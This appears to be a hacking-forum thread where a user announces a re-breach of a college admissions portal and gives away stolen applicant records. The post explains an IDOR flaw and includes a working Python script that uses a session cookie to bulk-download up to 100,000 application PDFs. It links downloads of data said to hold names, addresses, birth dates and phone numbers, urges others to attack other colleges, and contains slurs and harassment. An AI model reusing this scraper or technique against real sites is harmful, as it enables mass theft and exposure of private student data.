[emo]

Hi I am posting https://bf.st/Thread-SELLING-30k-rcbc-ed...fullz-data for free. I don't believe @pryx should be dealt with so I have rebreached the site who's data he is selling and I am posting the data for free :DDD

The story of this breach is one of complete retardation from both parties @pryx and rcbc.edu/185r.net.

Firstly 185r.net allows you to view other students applications as long as you are authenticated for whatever reason. So for example if your application is https://rcbc-uga.edu.185r.net/applicatio...seID=17000 you can just iterate from 17000 to 17001 etc. No idea why this is the case, or if this is unique to RCBC.

Now @pryx, for whatever reason decided to join the shoutbox and start defending @kilob, an infamous pedophile. @pryx was then repeatedly bullied in the shoutbox and revealed himself to be the absolute clown and retard that he is. After his reputation was sent deep into the negatives he decided to commit E-Suicide and self-ban. #RIP

You could probably use this vuln to scrape other Colleges that use 185r.net, here is the python program I used.

Spoiler Spoiler

# This was created using GPT-4 so it may not be the most safe/secure/efficient so be careful DDDDD
import aiohttp
import aiofiles
import asyncio
from tqdm import tqdm


async def download_pdf(session, url, file_name):
    async with session.get(url) as response:
        if response.status == 200:
            f = await aiofiles.open('./other/' + file_name, mode='wb')
            await f.write(await response.read())
            await f.close()

async def download_pdfs(start, end):
    base_url = "https://rcbc-uga.edu.185r.net/application/print/index.php?iSurveyID=101&iResponseID="
    file_name_template = "response_{}.pdf"

    async with aiohttp.ClientSession(cookies={"phpsessionname": "2dta0gfa0c8ic4cikup91gf9g0"}) as session:
        tasks = []
        for i in tqdm(range(start, end + 1)):
            url = base_url + str(i)
            file_name = file_name_template.format(i)
            tasks.append(download_pdf(session, url, file_name))

        await asyncio.gather(*tasks)

if __name__ == "__main__":
    start_response_id = 1
    end_response_id = 100000

    asyncio.run(download_pdfs(start_response_id, end_response_id))

Data contains full names, email addresses, physical addresses, DOBs, phone numbers and more.

Sample
Text sample: https://pixeldrain.com/u/5n7jukEP

response_15011.pdf
https://i.suffer.rip/qXpPCXMb.png

Download
https://i.suffer.rip/asjfajggjuuuuuiwiwwwwwafsazzz.7z

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Several doxing attempts.

[ppcashier]

Thank you for sharing!!!!

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[emo]

It's called an idor but good job

https://media1.tenor.com/m/Zt6t5WlR9jwAA...-drake.gif

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Several doxing attempts.

[Addka72424]

The link in this thread is dead. Please reply to the PM you were sent to get your thread moved back to the Databases section.